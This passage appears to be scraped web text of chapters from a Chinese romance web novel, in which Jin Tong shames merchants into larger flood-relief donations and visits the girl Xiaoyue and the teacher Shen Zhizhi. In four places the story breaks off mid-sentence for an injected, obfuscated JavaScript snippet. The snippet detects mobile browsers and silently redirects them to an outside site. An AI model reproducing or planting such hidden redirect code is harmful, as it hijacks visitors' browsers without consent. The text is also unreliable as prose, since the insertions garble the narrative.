天底下哪有这样的事！ 面对赵氏的质问，她冷静道：“令郎以诚心待我，我待之亦然，我们两个是很好的朋友。” “朋友？”赵氏半信半疑地重复了一句。 “正是朋友。”金桐肯定道，“他……尚不知我心意，还请夫人当作今日之事未发生过，为我保守秘密。” “我凭什么替你保密？”赵氏不快问道。 “那夫人是打算将我的心意告知他吗？”金桐的心悬了起来，暗自喜欢是她一个人的事情，若让苏礼明知晓，就变成了两个人的事情，她该以怎样的心态面对苏礼明，她还没做好准备。 赵氏却当金桐在示威，她抚了抚胸口，自己明明是来告诫这个小丫头的，竟感觉被反将一军。 “你进不了国公府的大门。” 金桐道：“我也无此意。” 赵氏却不信，她也是从这个年纪过来的，权当金桐嘴硬。 “那你做什么喜欢礼明？” 为什么喜欢他呢？金桐认真想了想，过往相处的细节清晰浮现在眼前，她却理不出个缘由。 “因为……他很好啊，所以就喜欢了。感情这种事，从来不受人的意念所控制。” 这样的说辞不能使赵氏信服，她生出的儿子那般多的优点，竟有人一处也说不出。金桐看向她的眼神实在真诚，每句话都让她有一拳打在棉花上的感觉。 她给赵氏的感觉很熟悉，就像……邱监察。 赵氏终是相信了她，叹出一口气，“你们这样的人，总是想的和旁人不一样，我也搞不懂。”她出于怜惜提点道，“礼明是日后要袭爵的国公府长子，你们二人绝无可能，感情上的事总是女子吃亏些，你再控制不住也要控制。” 金桐感知到来自长辈的善意，心中升起感激：“多谢您。” “好了。”赵氏无奈，“今日就当我们没见过，那些话也没说过。” 金桐目送赵氏从后门回府，转身推开了大门。 院子里空无一人，王盛宣已从宿醉中清醒，三个人在屋子里说话。苏景明对着门，第一个瞧见金桐，从房中跑出来，道：“姐姐回来这般早。” 苏礼明和王盛宣也进到院子里，金桐把商户捐款的名单放在石桌上，把上午发生的事情原原本本讲给他们听。 王盛宣和商会打过交道，评价道：“嘶，我觉得邱检查说得对啊，以他们平日的开销，捐得确实少了点儿。” 苏景明道：“巧了不是，这事就包在兄长身上吧。” “此话怎讲？”邱检查也说过让她来找苏礼明帮忙，没想到苏景明也这样说，金桐不禁好奇道。 苏景明道：“姐姐还不知道吧，你们从岭南回来，兄长得了嘉奖，日前在户部挂了职。” 这事她倒真不知道，苏礼明未曾和她提起过。闻言她看向苏礼明，苏礼明笑意温柔：“确是去报了道，尚未来得及同你说。” 金桐还不知自己在墙下说的话被听了个精光，她看出苏礼明心情尚佳，却会错了意道：“果然是人逢喜事精神爽。” 苏礼明失笑道：“与那无关。” 金桐道：“事不宜迟，你就陪我去户部走一趟吧。” 王盛宣道：“既然和商会有关系，我也要一起去。” 金桐稍作思量，点头同意了。苏景明眼见自己又落了单，不满道：“你们都去，那我也去，商会的人我也认识。” 金桐头疼，事情又不是人多就办得成，但看苏景明可怜兮兮的模样，她又不忍拒绝， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868542|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无奈道：“罢了，不差你一个了。” 邱监察交给她的差事本不好办，到了户部，她被三个人环在中间，竟莫名生出了人仗人势的底气。 苏礼明新上任，对户部却惊人地熟悉，金桐本以为他们先要费力在各处周转一番，结果却出乎意料地轻松。 苏礼明拿着商会的捐赠名单，叫来一名下属，低声跟他交代几句，之后下属依照他所说，去各处层层通报过，小跑着回来，带着他们去见户部尚书。 户部尚书正是覃花溪的父亲，见了苏礼明亲热得紧，苏礼明有礼地说明了来意，把金桐引荐给他。 金桐呈上邱监察手令，又将邱监察的话委婉地表述了一遍。 户部尚书的两个眉尖越凑越近，时不时唉声叹气。 “户部做事也要讲究规矩，哪有募捐还强制规定数额的，这不是明抢吗！” 金桐心虚地看向别处，邱监察的意思就是明抢呀！ 但她不能真的这么说，只能违心道：“规矩都是人定的，今日开了先例，往后再遇这种事，也就行得方便了。” 监察院的人都是土匪。 户部尚书绝望地闭上双眼，食指和中指轻轻揉按太阳穴，无力道：“礼明贤侄，这事你说该怎么办？” 人既然是苏礼明领过来的，这个烫手的山芋理应扔回他手中。 苏礼明道：“邱监察的要求，户部当全力满足。” “那此事就交由你办理吧。”户部尚书道。 从户部出来，苏景明不满道：“兄长，你为何要对覃伯父表态，平白给了他甩锅的机会。” 金桐道：“本来也没指望户部真的出头，过来找他们也只是知会一声，提醒他们不要阻碍我们。尚书大人替我们组局，已是看在邱监察与你兄长的面子上，无论你兄长表不表态，这件事最后都会落在他肩上，还不如卖覃大人一个人情，自己领了。” 金桐定下了前日他们相聚宴饮的酒楼，也仍是那个包间，歌姬舞姬等人也是前日的原班人马。 穿着清凉的舞姬推开门带人进来，看见金桐，两眼一黑。她就是抱着王盛宣那个，以为金桐是来找茬的，一只脚迈进了门里，另一只脚还在门外，进退不得。 “来了，快请进。”金桐招呼她们进来，“人还没齐，你们不用忙活，自便就好。” 她越和气，舞姬越觉得来者不善，其中定然有诈，反而更畏惧她。偏王盛宣这个没心机的，还笑着和舞姬打招呼，更把人吓得够呛。 这酒楼是权贵消遣的场所，价格不菲。王盛宣不解道：“你是来筹钱的，还是来花钱的？这么大手笔，不怕肉包子打狗？” 苏景明噗嗤笑出声：“王兄你这嘴。” 金桐无奈：“我能想到的也仅有此法，不到不得已我也不愿用强，先礼后兵看看吧，软的要是不行，最后还得请苏兄帮我。” 王盛宣敏锐地抓住金桐话中的小辫子，“你怎么也‘苏兄’上了？” 金桐咳了一声：“求人要有求人的态度。” 第一位客人很快到来，大腹便便，满面红光。这人金桐记得，曾用手指过她，被旁边的同伴制止了。 他满脸狐疑地看着金桐和缩在角落里的美人门，犹豫了。 金桐和善一笑，道：“请落座。” 45. 打劫 人陆续到齐，乐声和歌舞渐起。 琵琶曲变了又变，金桐凑近苏礼明，问道：“你想听什么？花了钱的，不听白不听，千万别客气。” 苏礼明“唔”了一声，道：“我不懂风雅，从未来过这种场合，不知眼下时兴什么曲子。王兄想听什么？” 王盛宣倒也不客气，一脸“你可找对人了”的表情：“青莲如何？当下大家都喜欢这种高雅的调调。” 琵琶女指法交错变换，缭乱得让人看不清，丝滑得换了曲儿。两首曲子衔接流畅，中无顿挫，足见演奏之人技艺之高超。 王盛宣满意地点点头，向苏礼明邀功：“苏兄，你听这曲儿怎么样？” 苏礼明谦虚道：“王兄精通此道，点的曲子自然是好的。” 苏景明一言难尽地捂住脸，嘴角抽搐，暗道一句：“心机。” 王盛宣还要贴着苏礼明说话，被看不下去的苏景明一把揽过来，“王兄，王兄。” 王盛宣一脸疑惑地看他：“怎么了，小苏兄？” 可怜见的。 苏景明怜爱地看着一派天真的王盛宣，不怪金桐担心他，看他样子还真是被卖了会帮人数钱的主儿。 “王兄，你有什么话跟我说，还是离我兄长远些吧。” 王盛宣歪着头对他傻笑：“小苏兄，你醋了？” “你就当我是吧。”苏景明无语凝噎。 酒过三巡，有人好奇问道：“我等赴的是覃大人的宴，为何还不见其人啊？” 金桐答道：“覃大人家中忽有急事，来不得了，我等代为作陪，还请诸位不要嫌弃。” 问话那人本是问的苏景明，眼下覃大人不在，当属苏景明为大，却不想答话的是位女子。 他当金桐是跟着王盛宣来的，怎么做派却像主事的？他面露怀疑，试探道：“嘶，这位小姐看着面善。” “孙掌柜贵人多忘事，昨夜此地我们曾见过的。” “昨夜？”孙掌柜故作思索，恍然大悟般，“对对对，小姐来找盛宣小友。啊，不知小姐是覃大人的……” 金桐微微一笑，双手在耳畔击了三次，叫停了舞乐。众人疑惑看她。 “今夜叫诸位来此，是我监察院为了感谢商会的慷慨解囊。”金桐仰头饮尽一杯酒，杯口朝下，对众人亮明。 “应尽之责。”孙掌柜带头回应道，跟着饮尽一杯，“我等虽为商贾，却也心系天下大事，能为顺河百姓出一份力，是我等荣幸。” “孙掌柜之胸襟令人敬仰，实为我等之榜样。”金桐摸出商会捐赠的明细，“孙掌柜，白银五百两。” 她故意停顿了一下，扯出一个假得不能再假的笑容，尴尬中带着嘲弄。 相比与口中说出的大义凛然的话，这捐款的数额便不那么好看了。 孙掌柜显然也没料到金桐这一手，笑容僵在脸上，看起来很是滑稽。苏景明在适时发出一声嗤笑，孙掌柜的脸色红了又白，白了又红。 不过金桐没有停顿太久，继续念下去。 “王掌柜，白银四百八十五两。” “应掌柜，白银四百五十两。” “周掌柜，白银四百二十两。” …… “田掌柜，白银三百两。” “钱掌柜，白银二百六十两。” …… “高掌柜，白银一百两。” 每个人都被点过一遍，金桐边念名单边留意他们的神色。 还知道羞愧，不算无可救药。 把名单收好，金桐又慷慨陈辞捧了他们一番，不过这次就没人搭话了。 这简直在打他们的脸。 他们后知后觉自己赴的并非答谢宴，而是鸿门宴，开始谨言慎行，就连长袖善舞的孙掌柜也变得沉默。 “总记九千零七百两。”金桐口中吐出一个总数，“诸位拳拳心意，检察院感受到了。” 金桐语气真挚，落在有心之人的耳朵里却像讽刺，有人气盛，站起来作势要告辞，金桐起身挡在门口，示意那人稍安勿躁。 若是覃大人在这儿，这些人即便受再多的屈辱，也不敢直接离场。既然做出此举，便是摆明了没把金桐放在眼里。 这也正是金桐想要的。她顺势亮出监察院和户部的令牌，“我受邱监察和覃大人的命令商议筹款之事，请各位掌柜配合。” 那人可以不给她脸面，却不敢驳了邱监察和覃大人的脸面，只能咬牙回到座位。 她已亮出底牌，孙掌柜不能再装死，索性问道：“两位大人有何吩咐？” 终于等到他开口，金桐道：“孙掌柜方才说为顺河百姓出力的话，还作数吗？” 孙掌柜一对眼珠子四处乱瞟，顾左右而言他，拿出生意场上的原话糊弄金桐的问话。 金桐管理过家中生意，对这一套是很熟悉的，不上他的当，定准那一个问题不撒嘴。 不能蒙混过关，当着这么多人的面，孙掌柜也只能承认：“作数。” “孙掌柜之信义，实乃天下商贾之典范。”金桐赞他，表明来意，“实不相瞒，要解救顺城百姓，户部和监察院目前所筹灾款仍是杯水车薪，仍需各位义商慷慨解囊。” “要多少？” “十万两。” 这个数字一出，在场众人无不倒吸一口凉气。 金桐接着说道：“十万两乍听起来确实吓人，但若落实到每人身上，不过几千两白银。昨夜在这间屋子里，同样的酒菜歌舞，各位挥金如土好不快活，不知这样的聚饮商会每年要举办几次？万千百姓的性命难道还比不上一次享乐吗？” 金桐将一张空白的宣纸拍在桌子上，又叫舞姬呈上来早在角落里准备好的笔墨，“今日我与各位有缘相聚在此，却与各位不甚熟悉，若要出此门，还请各位留下名姓再走。” 她这是表明了态度，不见钱不放人。便是真有人厚着脸皮只留一个名字，也得掂量掂量这名单最后回到谁手里。 金桐真真切切感受到什么叫做为虎作伥，借着身后覃大人和邱监察两只猛虎，她也算发了好大一把官威。 双方沉默地僵持着，每个人都精神紧绷，不是他们舍不得几千两银子，而是他们明白，这件事只要开了一个口子，以后便再也收不上了。 他们每个人账上的钱几代人都挥霍不完，但商人重利益是天性，掏他们的钱袋子可比要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868543|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们的命还严重。 金桐不急着催他们，她理解邱监察对筹款的要求，也理解商会成员们此刻的犹豫。他们的立场不同，无法评论对错，她只知道有些事自己应当去做，那便去做，至于结果如何，就不去想了。 孙掌柜在这些人里有较大的话语权，之前的名单里也是他捐得最多。 他第一个站起来，走到桌前提笔写下自己的名字。 心中的石头落地，金桐高声念出：“孙掌柜，白银五千两。” “现在我可以走了吧？” “当然。”金桐回道，又发自内心补充了句，“监察院由衷感激您。” 孙掌柜没有回答，径直开门走了。苏景明在他身后懒洋洋喊道：“孙掌柜慢走！” 有第一个人开头，之后就好办了。余下的人坐立难安，而金桐只需耐心等待。第二人来得很快，而且出乎她的意料。 王盛宣起身道：“说来我也算半个商会成员，金桐，帮我记上，白银五千两。” 金桐笑着对他点头，在第二行写下了他的名字。 许是受到王盛宣的激将，他一个外乡小辈出手如此阔绰，他们在扭扭捏捏就不好看了。 之后陆续有人走到桌子面前写下自己的名字，自发在原有金额上翻了十倍。 待到最后一人离开，金桐拎起名单，轻轻吹干墨迹，满眼欢喜对苏礼明道：“成了。” 转而她又担心起王盛宣：“你今日强出头，商会的人以后可能再难接纳你。” 虽然金桐不赞成王盛宣和商会的人有牵扯，但他若真因为今天的事情被商会排挤，金桐心里也很难过得去。 王盛宣无所谓道：“他们如果这般小肚鸡肠，是非不分，那我也不屑和他们相交。你说是吧，苏兄？” 苏礼明认同道：“王兄深明大义。” 走出酒楼天色已暗，王盛宣两天一夜没换过衣服，身上难受得紧，当即跟他们告别回去自己的住处。 金桐三人回了家，苏礼明没有进去坐坐的意思，连苏景明都觉得稀奇。金桐自身也累了，便没做挽留，三人在院子门口分别。 金桐一整天几乎没吃什么东西，身体与精神的双重折磨下，她倒也没觉得饥饿。简单沐浴后回到床上，肚子发出突如其来的抗议声，她不得不爬起来翻找些吃的果腹。 之前剩下的糕点，就着冰冷的茶水咽了几口，金桐苦命地叹息一声，感觉索然无味。 她的嘴巴已经被苏礼明养刁了。 继续忍耐还是出门觅食，天人交战之际，院门被扣响。金桐喜滋滋去开门，来人却让她有些失望。 不对，她到底在失望什么啊！ 金桐拍了拍自己的脸颊，试图清醒，国公府的婢女震惊地看着她，问道：“小姐，您哪里不舒服吗？” 金桐甩了甩脑袋，道：“我没事。” 婢女把食盒递给金桐，道：“我家公子特意让厨房做的。” “你家公子……自己怎么不来？” 婢女捂着嘴笑，又觉得这样很冒犯，忙收了笑意，“奴婢不知，公子说让小姐好好吃饭。” 金桐被她笑得双颊发热，匆匆道谢关上了门。 48. 误会 简陋的茅屋里，孩子们放了学，鱼群般涌出门归家去了。衣着简朴的沈知之望着孩子们蹦蹦跳跳的远去的身影，神色安宁。 她收拾起台面的书本，关好门，对门外等着她的小月温柔一笑。 数月以来，沈知之尝试过敲开许多私塾的大门，每次都被拒之门外。 后来有一家曾经拒绝过她的私塾再次找到她，她欣喜若狂，却被告知书塾缺一个浣衣女，她愿意的话可以来。 那时她连基本的温饱都成问题，轮不到她来挑拣，洗衣服这样活计对她而言也是雪中送炭。 可她郑重地对来找她的人鞠躬道谢，然后拒绝了对方。 因为金桐的事迹流传，不少人家开始重视女儿的学业，女儿不方便送入私塾，便招夫子上门。她听到消息去碰过运气，却是屡屡碰壁。 再后来，她去镖局门口给人代笔写信，日进微薄，最后饿得晕倒在镖局门口，遇上了好心的小月一家。 小月家里的情况也不算好，家徒四壁且父亲抱病。沈知之醒来后吃了一顿饭便不愿叨扰，小月却抱着她的胳膊不让她走，请求她教自己读书认字。 沈知之这才恍然惊觉，自己竟一直向上求取，忽视了底层百姓家。 小月这样的孩子比私塾的学生和大户人家的女儿更需要她。 日头正当午，小屋升起袅袅炊烟，小月推开门，“爹，娘，我们回来了！” 小月娘在灶边忙活，闻言扭过脖子对归来二人露出一个大大的笑，道：“累了吧，吃饭！” 小月放开沈知之的手，去里屋扶爹下床，沈知之找了块抹布擦桌子，而后去捡碗筷。 做完这些，饭菜就都上桌了。 沈知之扫了眼吃饭的木桌，坐在了一道深绿色的叶菜前。 小月爹是个沉默的汉子，在饭桌上更加沉默。 小月娘却是开朗的性格，把自己跟前的肉菜和沈知之跟前的素菜掉了个位置，问她累不累。 沈知之答道：“不累的，我很喜欢孩子们。” “不累就行，你身子骨弱，千万别勉强自己，可别再晕了。”小月娘说道，又分别给小月爹和小月夹了一筷子肉，“太久不做荤菜了，不知道失没失手艺。” 沈知之教小月识字的事很快传出去，很多像小月这样的孩子也想要读书认字，并且他们的爹娘受到小月爹娘的影响，对孩子读书这件事也没那么排斥了，只是说不许耽误干活。 小月便每天在那间茅屋里给孩子们上课，已经小半个月了，桌上唯一的肉就是其中一个孩子的娘送来的。 小月爹把肉扒进口中，却说：“我不爱吃肉。” 小月却是很久没吃到肉了，吃得喷香，闻言疑惑道：“爹，你以前不总说不吃肉干活没力气吗？今天怎么又不爱吃了？” 小月爹有些窘迫地看了一眼沈知之，训斥小月道：“筷子伸远点儿，别光盯着眼皮子底下。” “知道了。”小月小声哝咕，听话地去夹野菜吃。 小月爹这才算满意，空口将碗底的米饭大口扒完，一言不发地回屋里躺着了。 本来还算开心的小月察觉到爹情绪的低沉，端着碗的手悬在半空，无助地看着她娘。 小月娘却好像没受影响，笑道：“沈姑娘帮我看着妮儿，我进屋瞅瞅她爹又犯啥病。” 沈知之只好点点头。 屋子里，小月爹脸冲着墙，弓着身子侧躺，只留一个后脑勺。小月娘上去拍他，没反应，便问道：“心里不爽利了？” 依旧没反应。 小月娘继续道：“我还不知道你啊？你觉得咱占了沈姑娘的便宜，没面子。我可跟你说明白，沈姑娘不是小心眼儿的人，你别在心里瞎编排人家。” “你瞎说。”小月爹总算愿意开口了，“我可没说沈姑娘不好。” “那你在饭桌上整那一出，沈姑娘又不欠你的，凭啥看你脸子？” “我没给她脸子看……”其实小月娘说得没错，他就是觉得没面子了，他们收留沈姑娘不图她啥，就是看她可怜心里不落忍，现今他自己，连带着老婆孩子一起吃着人家送给沈姑娘的肉，他觉得自己这张老脸没地方搁。 小月爹翻身下床，道：“我去给沈姑娘道歉。” “诶诶诶，你别去。”小月娘把小月爹按回床上，自打他病了，人消瘦不少，从前蛮牛一样的人，现在轻易就能被女人按住了。 “道什么歉，闹得更不好看。沈姑娘这次没跟你计较，你下次管好自己的脾气。” 小月爹垂丧着脑袋坐在床边不说话，小月娘知道他已经听进去了，便将这茬翻了篇。 “我说你病也快好利索了，成天窝在床上不是个事，起来多走动走动，看你现在吃饭跟猫舔食似的，还没咱家妮儿胃口大。” “没气力。” “没气力才更该动，动开了就有吃得多，吃得多就有气力。” 小月爹草草应了句：“知道了。” 灰布帘子被悄悄掀起一角，小月贼头贼脑地往屋里看，爹娘在屋里你一句我一句的，她怕他们再吵起来，他们吵了就过了，连累自己可就倒霉了。 他们两人之间还算风平浪静，小月放心地揭开帘子进屋了。她手里端着两个碗，上面盖着满满的肉和菜，几乎要端不住了，她叫道：“娘，帮我接着点儿。” 小月娘一看这两大碗就知是什么意思了，她自己捧着一碗，另一碗塞到小月爹手里。 小月爹道：“我不吃了。” 小月娘就料到得有这么一出，问他：“沈姑娘亲自盛的，你不吃？” 小月眼睛睁得圆圆的，“娘，你咋知道？” “这个家还有我不知道的事吗？”小月娘食指曲起刮了下小月的鼻梁，“把你爹的碗撤了，告诉沈姑娘他不吃。” 小月爹急了，护住碗，“我可没说。” 看他大口大口吃得香，小月娘欣慰地笑了。初夏的时候她家妮儿带回来一笔钱，他们没吝啬，全给她爹抓药看病了。一分钱一分货，贵的药确实有贵的道理，眼看妮儿她爹精神一天天好起来，人却还是整日怏怏的，她知道，他这是心气散了。 身上的病有药能治，心病又该抓什么药治？ 她看在眼里，愁在心里，平日还得笑呵呵的，就怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868546|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他爷俩看出来。她不信世上有过不去的坎，人只要活着比啥都强，她对小月爹没啥要求，他倒了，她就顶上。 以前他怎么养活她们娘俩，现在她就怎么养活他。 吃过饭，小月爹主动提出去田里看看，小月娘自是欢喜地让他去，她自己则是带着小月和沈知之在院子里做工。 金桐一行人浩浩荡荡过来，最先发现他们的人是小月。 “姐姐？”小月打了好久的草鞋眼睛花，以为自己出现幻觉。她用手指揉了揉眼，再看的时候人也没消失，便扔下手里的东西，小炮弹般冲过去，被金桐张开双臂接住。 “姐姐，姐姐。”她叽叽喳喳地叫，像只欢喜的鸟儿。 姐姐帮助她，她没道谢，光顾着放狠话，最后稀里糊涂分开了。她很后悔，她一直都记得。 但在看清金桐身后来人，她的欢喜浇灭了一半，取而代之的是戒备之心。 刘天霸叉着腿吊儿郎当地站着，不肖人说也看得出是地主家的恶霸。他身后三个人也面相不善，只是一个拎着衣物，一个拎着吃食，还有一个怀里抱两只鸡，一公一母。 刘天霸道：“小丫头片子变脸比变天快。” “姐姐，干嘛带他来？”尽管小月知道金桐面前刘天霸掀不起浪，却还是忍不住小小地抱怨。 “说反了吧，是我带你姐姐来，没我她哪知道你住哪？”刘天霸越过院门口的两人，带着手下登堂入室地进了院子。 不知情况的小月娘如临大敌。 “没事。”沈知之低声对小月娘说了句，而后朝金桐走过去，“好久不见。” “沈姐姐也认识姐姐？”小月左右看着两个人，头摇得像拨浪鼓。 其实金桐早也看见了沈知之，只是被小月霸占着没抽出空来和她相认。 “好久不见。”金桐回道，难怪小月看起来比初见活泼开朗不少，不再像被什么东西沉重地压着似的，多了小姑娘的朝气，这其中一定不乏沈知之的影响，她就是那样蓬勃生长充满韧劲的人。 苏礼明和苏景明也上前道：“沈姑娘。” 王盛宣的不高兴都写在了脸上，这又是哪来的沈姑娘？他们还有多少事情是自己不知道的？ 转头看刘天霸也一副状况外的样子，他心里好受了点儿，往他身边贴了贴。 沈知之对苏礼明兄弟两个行过礼，而后向王盛宣笑道：“王公子。” 王盛宣食指戳在自己鼻尖，不确定道：“我吗？” “当然。”沈知之笑了笑，没再多解释。 这下就剩刘天霸是局外之人了，嫌他们几个碍眼，刘天霸大声道：“都让让，不着急闲聊，先让我那哥几个把东西送屋去。” 小月娘对他摆手：“使不得。” 刘天霸哪管她使得使不得，招手让手下进屋，小月娘上来拦，被他伸胳膊挡住。 “你别碰我娘！”小月急了，朝他冲过去，被他另一只手按住。 好好的事情弄得鸡飞狗跳，金桐正要警告他，却听一声暴喝：“放开她们！” 刘天霸闻声回头，被一个编筐直拍面门，仰面倒地。 49. 任务 遛弯回来的小月爹看见的就是一群陌生人闯进家的情景，自己的老婆孩子被主家的混帐儿子挟持。 他扔下编筐，把小月和她娘护在身后，喘着粗气和院子里的其他人对峙。 “误会了！”小月娘甩开他，去看刘天霸的情况。 刘天霸被砸得眼冒金光，躺在地上，捂着鼻子骂骂咧咧：“谁，谁他娘的偷袭老子？！” 小月娘着急地冲小月爹喊：“过来搭把手！” 小月爹人是懵的，却还是过去把刘天霸拽了起来。 刘天霸一站起来，两行鲜红的鼻血顺流而下，一阵兵荒马乱之后，刘天霸躺在小月爹的床上，郁闷地不愿睁眼。 小月爹问小月娘道：“咋回事?” 一两句话说不清楚，小月娘拉了金桐过来，道：“这位是沈姑娘的朋友。” 小月娘是个机灵人，一击即中，小月爹果然放下了戒心，指着床上装死的刘天霸问道：“那他又是咋回事？” “和沈姑娘朋友一起来的。” 小月爹又懵了，沈姑娘的朋友咋能和那种人在一块儿？ 小月适时插嘴道：“爹，救我的人就是金桐姐姐。” 这事他听他家妮儿说过，妮儿被那混帐为难，有人帮妮儿给人打跑了，还给了妮儿一笔钱。 可是他更懵了，难道混帐是来寻仇的？ 金桐见小月爹目露凶光，不知他想哪去了，解释道：“我们算不打不相识，今日过来没有恶意，只是看看小月而已。” 上次分别她还不知小月的名字，是刚才沈知之告诉她的。 “那他们又是谁？”小月爹指着堆在屋门口的一群人。 “我们是金桐姐姐和沈知之的朋友。”苏景明反应最快，拉着自家兄长和王盛宣，与刘天霸带来的人划清界限。 那三人有苦难言，垂头不语。 金桐替他们解围道：“对亏这三位大哥帮忙，不然我自己还真不敢抓鸡呢。” 抱来的两只鸡已经飞快融入了院子，昂首挺胸，信步闲庭。 “哦……”小月爹放过了那三人，三人投以金桐感激的目光。 小月娘说道：“冬衣和果子也是他们带来的，咱不能要。” 装死的刘天霸接话：“都是金桐买的，跟我没关系。” 他犯不上冒认别人的好，再者说，跟小月一家，他也没那个必要。 屋里人多，金桐挨个安抚过后，便拉沈知之到院子里叙旧。 她知道了沈知之给孩子们授课的事，很替她高兴。只是这样分文不取，终难长久。略一思索，她提议道：“我出钱，你去找一处像样的地方，或租或盘下来，单看你日后的规划。” 沈知之欲拒绝，金桐先她一步道：“一来孩子们呆得舒适，那茅屋你现在觉不出什么，等入了冬你再看，四处漏风，就是你受得了，孩子们也受不了；二来，有个定所便容易招揽学生，你可以免掉贫苦人家的学钱，再翻一番从富庶人家那里收回来。” “还可以这样？”沈知之震惊了。 “当然可以。”金桐道，“王盛宣在西京也吃得开，等你那边安定了，再找他给你引荐，他肯定不会拒绝。” 沈知之仍有些犹豫，金桐知她要强，便道：“商人嘛，无利不起早，我帮你不是白帮，日后你发达了，我可要来分一杯羹。” 沈知之不愿欠人情，她知道自己偿还不起，所以即便饿得晕倒也没想过找金桐求助，她总要靠自己爬出无望的深坑，一次又一次。 对于金桐索求她无异议，只是她对自己没有信心：“我真能做到如你所说那般吗？” 那样宏大的愿景于她宛如空中楼阁，她在俗世飘荡，宛如浮萍，从未扎根。 “你一定能。十五年，十年，或者更快，你会建立起西京最特别的书院，寒门或富庶之家，女子或男子，他们都将因你而聚集在一起，成为你的学生。” 沈知之心神激荡，这样的事她不曾想过，也不敢想。她的父亲只是一位普通的教书夫子，她最大的渴求不过是成为父亲那样的人，她没有底气超过他去。 此时此刻，她忍不住想，可不可以再贪心一点呢？ “有用钱的地方，就拿着它去钱庄兑换，不用替我俭省。”金桐取出一张飞钱塞进沈知之手里，“总有一日沈知之这个名字会传遍西京，请给我一个与你结识的机会。” 沈知之第一次拥抱了她。 临别时，小月十分大方地捧来满怀的草鞋，挨个分发给他们，见者有份，就连刘天霸和他的三个跟班也没落下。 刘天霸拿着草鞋左右摆弄，嫌弃道：“我要这玩意干什么……” 话说一半就被金桐在后腰怼了一杵，剩下的半截话连带着腰间的酸痛被他一起龇牙吞了下去。 小月爹看起来有些紧张，事情已经弄清楚，都是误会一场，他伤了主家的独苗，这坎儿不知道怎么过去。 刘天霸难得说了句人话：“今天的事儿算我倒霉，以后谁都别提了。” 小月爹对他说不出感激的话，他们之间还有更为深沉复杂的鸿沟，那不是一朝一夕能解决的矛盾。 小月爹闷声道：“明年，明年我一定交粮上去。” “行。” 回来的路上又遇到去时的小摊贩，苏礼明独自过去买了些回来，苏景明问道：“兄长几时好这一口了？” 苏礼明没回答，直至到了家门口，把手中的东西一份给了王盛宣，一份给了金桐。 苏景明凉凉道：“兄长莫不是忘了还有个亲弟弟在这？” 王盛宣立刻谦让地把自己那份递过去，却被苏礼明挡回，“他不吃，你吃。” 那声音仿佛温柔得滴水，苏景明抖了抖，感觉有诈，便应和道：“王兄吃吧。” 看王盛宣和金桐都没什么反应，他又怀疑自己惊疑过度，再看苏礼明本人，也是再正常不过。 一定被母亲半夜扰得没歇息好，苏景明下了判断。 彩荷扒在国公府后门目睹一切，在两位公子开门之前小跑着逃离，回去把所见尽数告知赵氏。 又是不安稳的一夜。 彭昱手中的笔空悬了半天，眼神聚不到实处，凝结在笔尖的墨汁“啪嗒”下落，暗黄的宣纸溅出一朵黑色的墨花。 金桐戳了戳他，“又愣神。” 彭昱这才看见纸背已被墨汁洇透，成了废纸一张，干脆团成一团扔到旁边，呼出一口浊气。 一看就是心里有事，金桐问他：“惆怅什么呢？” 本来也不指望能问出来，谁知彭昱就像找到了发泄口一样，凑近道：“听说你募到的那笔钱已经入库了。” “好像是吧。” “听说户部和工部开始整顿人马，要再去顺河。” “哦。” “你哦什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868547|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么哦！苏公子没跟你提这事吗？” “没有。” “真的？”彭昱不相信。 金桐没骗他，她已经好多天没见过苏礼明了。苏礼明更多时间是和王盛宣在一起，连景明这个亲弟弟都被排除在外。 景明也曾问过她那两个人神神秘秘地在搞什么，金桐表示自己也和他一样一无所知。 她刚要解释，便看见了邱监察，赶紧给彭昱使眼色别再说了。 “金桐，你来。” 金桐身躯一震，心情沉重地跟邱监察出去了，还对彭昱比了个“嘘”的手势。 邱监察单刀直入地挑明了话题：“顺河那边要增援人手，庄公公牵头，底下是户部和工部的人，我想派你代表监察院随行，你愿意吗？” 